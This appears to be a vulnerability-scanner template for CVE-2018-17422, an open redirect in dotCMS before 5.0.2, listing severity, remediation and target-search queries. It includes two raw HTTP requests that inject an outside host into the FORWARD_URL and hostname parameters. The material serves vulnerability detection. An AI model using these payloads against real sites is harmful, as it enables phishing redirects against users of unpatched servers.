| Title | DotCMS < 5.0.2 - Open Redirect |
|---|---|
| Author | 0x_Akoko,daffainfo |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware. |
| Remediation | Upgrade to a version of DotCMS that is higher than 5.0.2 to mitigate the open redirect vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.10795 |
| CVE ID | CVE-2018-17422 |
| CWE ID | CWE-601 |
| Shodan Query | http.title:"dotCMS"http.title:"dotcms" |
| Fofa Query | title="dotcms" |
| Tags | cve2018 cve redirect dotcms vuln |
dotCMS before 5.0.2 contains multiple open redirect vulnerabilities via the html/common/forward_js.jsp FORWARD_URL parameter or the html/portlet/ext/common/page_preview_popup.jsp hostname parameter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
GET /html/common/forward_js.jsp?FORWARD_URL=http://oast.me HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /html/portlet/ext/common/page_preview_popup.jsp?hostname=oast.me HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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